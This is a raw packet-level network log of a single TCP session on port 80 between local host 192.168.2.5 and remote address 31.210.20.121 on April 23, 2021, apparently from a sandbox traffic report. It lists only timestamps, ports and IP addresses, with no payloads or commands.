Apr 23, 2021 11:07:50.183552027 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.183552980 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.183576107 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.183578014 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.183600903 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.183625937 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.183645010 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.183650970 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.183653116 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.183696985 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.183723927 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.229973078 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.230012894 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.230088949 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233122110 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233158112 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233184099 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233192921 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233207941 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233217001 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233237028 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233261108 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233284950 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233285904 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233299017 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233309984 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233321905 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233335972 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233355999 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233359098 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233408928 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233433008 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233437061 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233438969 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233460903 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233475924 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233489990 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233500957 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233510017 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233510971 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233535051 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233561039 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233568907 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233581066 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233591080 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233602047 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233612061 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233624935 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233645916 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233654022 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233681917 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233681917 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233695984 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233705044 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233724117 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233730078 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233745098 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233753920 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233772039 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233783960 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233795881 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233814955 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233819962 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233843088 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233866930 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233890057 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233894110 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233907938 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233913898 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233937979 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233938932 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233944893 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233963966 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.233975887 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233982086 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.233990908 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234014034 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234016895 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234036922 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234039068 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234061003 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234083891 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234085083 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234092951 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234102964 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234107971 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234128952 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234133005 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234146118 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234159946 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234164953 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234189034 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234201908 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234213114 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234225988 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234236956 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234261036 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234271049 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234283924 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234306097 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234313965 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234328032 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234353065 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234354973 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234364033 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234378099 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.234395981 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.234446049 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.280231953 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.280276060 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.280334949 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.284751892 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.284790039 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.284812927 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.284838915 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.284862995 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.284883022 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.284890890 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.284902096 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.284918070 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.284923077 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.284943104 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.284965038 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.284966946 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.284992933 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285005093 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285017014 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285041094 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285042048 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285048008 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285064936 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285072088 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285092115 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285093069 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285108089 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285115957 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285135031 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285137892 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285156012 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285164118 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285178900 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285187960 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285197020 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285211086 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285223007 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285235882 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285250902 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285259008 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285269976 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285286903 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285296917 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285314083 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285336971 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285358906 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285362959 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285398006 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285420895 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285425901 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285427094 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285450935 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285461903 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285466909 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285476923 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285492897 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285501957 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285527945 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285530090 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285536051 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285552979 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285571098 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285576105 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285590887 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285599947 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285609007 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285624027 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285641909 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285648108 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285660982 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285682917 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285695076 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285706043 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285726070 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285731077 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285743952 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285754919 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285764933 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285779953 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285793066 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285806894 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285816908 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285832882 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285847902 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285856962 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285877943 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285883904 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285898924 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285901070 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285923958 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285929918 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285940886 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285944939 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285968065 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.285969019 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285989046 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.285991907 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.286010981 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.286015987 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.286040068 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.286057949 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.286065102 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.286086082 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.330142975 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.330180883 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.330246925 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.330285072 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336376905 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336416960 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336436033 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336442947 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336461067 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336467981 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336483955 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336492062 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336517096 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336534977 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336539030 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336585045 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336589098 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336597919 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336610079 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336622000 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336636066 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336662054 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336662054 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336688042 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336688995 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336714029 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336714983 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336735964 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336746931 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336761951 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336776018 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336787939 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336811066 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336812973 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336838961 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336841106 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336863041 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336863041 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336883068 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336889982 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336906910 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336919069 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336930037 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336941957 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336961985 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336965084 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.336975098 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.336992979 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337013960 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337017059 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337038994 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337040901 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337049961 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337064981 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337089062 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337096930 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337105989 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337112904 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337127924 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337138891 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337148905 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337162971 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337182999 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337189913 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337203026 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337214947 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337239027 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337241888 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337263107 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337269068 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337286949 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337289095 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337308884 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337317944 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337333918 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337336063 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337357044 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337358952 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337379932 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337404013 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337408066 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337435007 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337457895 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337481976 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337485075 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337507963 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337512016 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337533951 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337544918 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337558031 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337562084 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337587118 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337594986 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337610006 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337620974 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337634087 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337654114 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337657928 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337681055 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337681055 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337704897 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337707996 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337717056 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337733030 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337755919 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.337759972 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337783098 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.337804079 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.347811937 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.379301071 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.379339933 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.379407883 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.387463093 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.387505054 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.387532949 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.387537956 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.387572050 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.387607098 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.387607098 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.387629986 CEST	49703	80	192.168.2.5	31.210.20.121
Apr 23, 2021 11:07:50.387641907 CEST	80	49703	31.210.20.121	192.168.2.5
Apr 23, 2021 11:07:50.387654066 CEST	49703	80	192.168.2.5	31.210.20.121
